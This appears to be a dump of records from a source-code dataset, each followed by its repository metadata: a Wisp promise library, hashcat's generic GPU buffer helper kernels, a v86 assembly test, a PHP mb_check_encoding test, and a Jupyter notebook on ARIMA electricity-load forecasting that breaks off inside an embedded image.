(ns promitto.lib.deferred (:require [promitto.lib.utils :refer [fn? ->arr promise? next-tick chain]] [promitto.lib.types :refer [states new-state new-pool new-buf]] [promitto.lib.promise :refer [promise]])) (defn ^:private pusher [pool] (fn [type fn] (cond (fn? fn) (.push (aget pool type) fn)))) (defn ^:private switch-state [state] (fn [type] (cond (and (not (? type :notify)) (.-pending state)) (do (set! (.-pending state) false) (cond (? type :resolve) (set! (.-resolve state) true)) (cond (? type :reject) (set! (.-reject state) true)))))) (defn ^:private cache-args [buf] (fn [type args] (set! (aget buf type) (->arr args)))) (defn ^:private buf-args [state buf] (fn [type fn] (if (? type :finally) (if (.-reject state) (.-reject buf) (.-resolve buf)) (aget buf type)))) (defn ^:private flush [pool] (fn [name] (.splice (aget pool name) 0))) (defn ^:private dispatcher [state pool buf] (let [flush (flush pool) get-args (buf-args state buf)] (fn [type] (.for-each (aget pool type) (fn [lamdba] (let [args (get-args type lamdba)] (apply lamdba args)))) (cond (!? type :notify) (flush type))))) (defn ^:private dispatch [state pool buf] (let [dispatcher (dispatcher state pool buf)] (fn [type] (next-tick (fn [] (cond (or (aget state type) (? type :notify)) (dispatcher type)) (cond (not (.-pending state)) (dispatcher :finally))))))) (defn ^:private apply-state [cache-args switch-state dispatch] (fn [type args] (cache-args type args) (switch-state type) (dispatch type))) (defn ^:private call-state [apply-fn] (fn [type] (fn [] (apply-fn type arguments)))) (defn ^:private notify [cache-args dispatch] (fn [] (cache-args :notify arguments) (dispatch :notify))) (defn ^:private chain-deferred [ctx] (.for-each (.keys Object ctx) (fn [name] (let [member (aget ctx name)] (cond (!? name :promise) (set! (aget ctx name) (chain ctx member)))))) ctx) (defn ^object deferred "Create a new deferred object" [] (let [buf (new-buf) pool (new-pool) state (new-state) pusher (pusher pool) cache-args (cache-args buf) switch-state (switch-state state) dispatch (dispatch state pool buf) apply (apply-state cache-args switch-state dispatch) call-state (call-state apply)] (def ctx { :resolve (call-state :resolve) :reject (call-state :reject) :notify (notify cache-args dispatch) :promise (promise state pusher dispatch) }) (chain-deferred ctx))) (defn ^promise resolved "Returns a promise with resolve status with a custom reason" [reason] (let [defer (deferred)] (.resolve defer reason) (.-promise defer))) (defn ^promise rejected "Returns a promise with reject status with a custom reason" [reason] (let [defer (deferred)] (.reject defer reason) (.-promise defer))) (defn ^promise when "Wrap a value as a promise-like object" [value reason] (if (promise? value) value (resolved reason)))
wisp
5
h2non/promitto
src/deferred.wisp
[ "MIT" ]
/** * Author......: See docs/credits.txt * License.....: MIT */ #ifdef KERNEL_STATIC #include "inc_vendor.h" #include "inc_types.h" #include "inc_platform.cl" #include "inc_common.cl" #endif DECLSPEC void gpu_decompress_entry (GLOBAL_AS pw_idx_t *pws_idx, GLOBAL_AS u32 *pws_comp, pw_t *buf, const u64 gid) { const u32 off = pws_idx[gid].off; const u32 cnt = pws_idx[gid].cnt; const u32 len = pws_idx[gid].len; pw_t pw; pw.i[ 0] = 0; pw.i[ 1] = 0; pw.i[ 2] = 0; pw.i[ 3] = 0; pw.i[ 4] = 0; pw.i[ 5] = 0; pw.i[ 6] = 0; pw.i[ 7] = 0; pw.i[ 8] = 0; pw.i[ 9] = 0; pw.i[10] = 0; pw.i[11] = 0; pw.i[12] = 0; pw.i[13] = 0; pw.i[14] = 0; pw.i[15] = 0; pw.i[16] = 0; pw.i[17] = 0; pw.i[18] = 0; pw.i[19] = 0; pw.i[20] = 0; pw.i[21] = 0; pw.i[22] = 0; pw.i[23] = 0; pw.i[24] = 0; pw.i[25] = 0; pw.i[26] = 0; pw.i[27] = 0; pw.i[28] = 0; pw.i[29] = 0; pw.i[30] = 0; pw.i[31] = 0; pw.i[32] = 0; pw.i[33] = 0; pw.i[34] = 0; pw.i[35] = 0; pw.i[36] = 0; pw.i[37] = 0; pw.i[38] = 0; pw.i[39] = 0; pw.i[40] = 0; pw.i[41] = 0; pw.i[42] = 0; pw.i[43] = 0; pw.i[44] = 0; pw.i[45] = 0; pw.i[46] = 0; pw.i[47] = 0; pw.i[48] = 0; pw.i[49] = 0; pw.i[50] = 0; pw.i[51] = 0; pw.i[52] = 0; pw.i[53] = 0; pw.i[54] = 0; pw.i[55] = 0; pw.i[56] = 0; pw.i[57] = 0; pw.i[58] = 0; pw.i[59] = 0; pw.i[60] = 0; pw.i[61] = 0; pw.i[62] = 0; pw.i[63] = 0; pw.pw_len = len; for (u32 i = 0, j = off; i < cnt; i++, j++) { pw.i[i] = pws_comp[j]; } *buf = pw; } KERNEL_FQ void gpu_decompress (GLOBAL_AS pw_idx_t *pws_idx, GLOBAL_AS u32 *pws_comp, GLOBAL_AS pw_t *pws_buf, const u64 gid_max) { const u64 gid = get_global_id (0); if (gid >= gid_max) return; pw_t pw; gpu_decompress_entry (pws_idx, pws_comp, &pw, gid); pws_buf[gid] = pw; } KERNEL_FQ void gpu_memset (GLOBAL_AS uint4 *buf, const u32 value, const u64 gid_max) { const u64 gid = get_global_id (0); if (gid >= gid_max) return; uint4 r; #if defined IS_NATIVE r = value; #elif defined IS_OPENCL r = (uint4) (value); #elif defined IS_CUDA r.x = value; r.y = value; r.z = value; r.w = value; #elif defined IS_HIP r.x = value; r.y = value; r.z = value; r.w = value; #endif buf[gid] = r; } KERNEL_FQ void gpu_bzero(GLOBAL_AS uint4* buf, const u64 gid_max) { const u64 gid = get_global_id(0); if (gid >= gid_max) return; uint4 r; #if defined IS_NATIVE r = 0; #elif defined IS_OPENCL r = (uint4) (0); #elif defined IS_CUDA r.x = 0; r.y = 0; r.z = 0; r.w = 0; #elif defined IS_HIP r.x = 0; r.y = 0; r.z = 0; r.w = 0; #endif buf[gid] = r; } KERNEL_FQ void gpu_atinit (GLOBAL_AS pw_t *buf, const u64 gid_max) { const u64 gid = get_global_id (0); if (gid >= gid_max) return; const u32 l32 = l32_from_64_S (gid); const u32 h32 = h32_from_64_S (gid); pw_t pw; pw.i[ 0] = 0x5c5c5c5c ^ l32; pw.i[ 1] = 0x36363636 ^ h32; pw.i[ 2] = 0; pw.i[ 3] = 0; pw.i[ 4] = 0; pw.i[ 5] = 0; pw.i[ 6] = 0; pw.i[ 7] = 0; pw.i[ 8] = 0; pw.i[ 9] = 0; pw.i[10] = 0; pw.i[11] = 0; pw.i[12] = 0; pw.i[13] = 0; pw.i[14] = 0; pw.i[15] = 0; pw.i[16] = 0; pw.i[17] = 0; pw.i[18] = 0; pw.i[19] = 0; pw.i[20] = 0; pw.i[21] = 0; pw.i[22] = 0; pw.i[23] = 0; pw.i[24] = 0; pw.i[25] = 0; pw.i[26] = 0; pw.i[27] = 0; pw.i[28] = 0; pw.i[29] = 0; pw.i[30] = 0; pw.i[31] = 0; pw.i[32] = 0; pw.i[33] = 0; pw.i[34] = 0; pw.i[35] = 0; pw.i[36] = 0; pw.i[37] = 0; pw.i[38] = 0; pw.i[39] = 0; pw.i[40] = 0; pw.i[41] = 0; pw.i[42] = 0; pw.i[43] = 0; pw.i[44] = 0; pw.i[45] = 0; pw.i[46] = 0; pw.i[47] = 0; pw.i[48] = 0; pw.i[49] = 0; pw.i[50] = 0; pw.i[51] = 0; pw.i[52] = 0; pw.i[53] = 0; pw.i[54] = 0; pw.i[55] = 0; pw.i[56] = 0; pw.i[57] = 0; pw.i[58] = 0; pw.i[59] = 0; pw.i[60] = 0; pw.i[61] = 0; pw.i[62] = 0; pw.i[63] = 0; // yep that's faster //pw.pw_len = 1 + (l32 & 15); pw.pw_len = 7; // some algorithms are very sensible on this (example: 12500) buf[gid] = pw; } KERNEL_FQ void gpu_utf8_to_utf16 (GLOBAL_AS pw_t *pws_buf, const u64 gid_max) { const u64 gid = get_global_id (0); if (gid >= gid_max) return; pw_t pw_in = pws_buf[gid]; pw_t pw_out; for (int i = 0; i < 64; i++) pw_out.i[i] = 0; hc_enc_t hc_enc; hc_enc_init (&hc_enc); pw_out.pw_len = hc_enc_next (&hc_enc, pw_in.i, pw_in.pw_len, 256, pw_out.i, 256); pws_buf[gid] = pw_out; }
OpenCL
4
Masha/hashcat
OpenCL/shared.cl
[ "MIT" ]
BITS 32 andpd xmm0, xmm1 hlt
Assembly
1
brenden7158/v86
tests/expect/tests/task_switch_test_sse.asm
[ "BSD-2-Clause" ]
--TEST-- mb_check_encoding() --EXTENSIONS-- mbstring --FILE-- <?php ini_set('default_charset', 'UTF-8'); // Valid $str = "Japanese UTF-8 text. 日本語のUTF-8テキスト"; $arr = [1234, 12.34, TRUE, FALSE, NULL, $str, 'key'=>$str, $str=>'val']; var_dump(mb_check_encoding($str), mb_check_encoding($arr)); // Invalid $str = "Japanese UTF-8 text. 日本語\xFE\x01\x02のUTF-8テキスト"; $arr1 = [1234, 12.34, TRUE, FALSE, NULL, 'key'=>$str, $str=>'val']; $arr2 = [1234, 12.34, TRUE, FALSE, NULL, $str=>'val']; var_dump(mb_check_encoding($str), mb_check_encoding($arr1), mb_check_encoding($arr2)); ?> --EXPECT-- bool(true) bool(true) bool(false) bool(false) bool(false)
PHP
4
NathanFreeman/php-src
ext/mbstring/tests/mb_check_encoding.phpt
[ "PHP-3.01" ]
{ "cells": [ { "cell_type": "markdown", "source": [ "# Time series forecasting with ARIMA\n", "\n", "In this notebook, we demonstrate how to:\n", "- prepare time series data for training an ARIMA time series forecasting model\n", "- implement a simple ARIMA model to forecast the next HORIZON steps ahead (time *t+1* through *t+HORIZON*) in the time series\n", "- evaluate the model \n", "\n", "\n", "The data in this example is taken from the GEFCom2014 forecasting competition<sup>1</sup>. It consists of 3 years of hourly electricity load and temperature values between 2012 and 2014. The task is to forecast future values of electricity load. In this example, we show how to forecast one time step ahead, using historical load data only.\n", "\n", "<sup>1</sup>Tao Hong, Pierre Pinson, Shu Fan, Hamidreza Zareipour, Alberto Troccoli and Rob J. Hyndman, \"Probabilistic energy forecasting: Global Energy Forecasting Competition 2014 and beyond\", International Journal of Forecasting, vol.32, no.3, pp 896-913, July-September, 2016." ], "metadata": {} }, { "cell_type": "markdown", "source": [ "## Install Dependencies\n", "Get started by installing some of the required dependencies. These libraries with their corresponding versions are known to work for the solution:\n", "\n", "* `statsmodels == 0.12.2`\n", "* `matplotlib == 3.4.2`\n", "* `scikit-learn == 0.24.2`\n" ], "metadata": {} }, { "cell_type": "code", "execution_count": 16, "source": [ "!pip install statsmodels" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "/bin/sh: pip: command not found\n" ] } ], "metadata": {} }, { "cell_type": "code", "execution_count": 17, "source": [ "import os\n", "import warnings\n", "import matplotlib.pyplot as plt\n", "import numpy as np\n", "import pandas as pd\n", "import datetime as dt\n", "import math\n", "\n", "from pandas.plotting import autocorrelation_plot\n", "from statsmodels.tsa.statespace.sarimax import SARIMAX\n", "from sklearn.preprocessing import MinMaxScaler\n", "from common.utils import load_data, mape\n", "from IPython.display import Image\n", "\n", "%matplotlib inline\n", "pd.options.display.float_format = '{:,.2f}'.format\n", "np.set_printoptions(precision=2)\n", "warnings.filterwarnings(\"ignore\") # specify to ignore warning messages\n" ], "outputs": [], "metadata": {} }, { "cell_type": "code", "execution_count": 18, "source": [ "energy = load_data('./data')[['load']]\n", "energy.head(10)" ], "outputs": [ { "output_type": "execute_result", "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>load</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>2012-01-01 00:00:00</th>\n", " <td>2,698.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 01:00:00</th>\n", " <td>2,558.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 02:00:00</th>\n", " <td>2,444.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 03:00:00</th>\n", " <td>2,402.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 04:00:00</th>\n", " <td>2,403.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 05:00:00</th>\n", " <td>2,453.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 06:00:00</th>\n", " <td>2,560.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 07:00:00</th>\n", " <td>2,719.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 08:00:00</th>\n", " <td>2,916.00</td>\n", " </tr>\n", " <tr>\n", " <th>2012-01-01 09:00:00</th>\n", " <td>3,105.00</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " load\n", "2012-01-01 00:00:00 2,698.00\n", "2012-01-01 01:00:00 2,558.00\n", "2012-01-01 02:00:00 2,444.00\n", "2012-01-01 03:00:00 2,402.00\n", "2012-01-01 04:00:00 2,403.00\n", "2012-01-01 05:00:00 2,453.00\n", "2012-01-01 06:00:00 2,560.00\n", "2012-01-01 07:00:00 2,719.00\n", "2012-01-01 08:00:00 2,916.00\n", "2012-01-01 09:00:00 3,105.00" ] }, "metadata": {}, "execution_count": 18 } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "Plot all available load data (January 2012 to Dec 2014)" ], "metadata": {} }, { "cell_type": "code", "execution_count": 19, "source": [ "energy.plot(y='load', subplots=True, figsize=(15, 8), fontsize=12)\n", "plt.xlabel('timestamp', fontsize=12)\n", "plt.ylabel('load', fontsize=12)\n", "plt.show()" ], "outputs": [ { "output_type": "display_data", "data": { "image/png": "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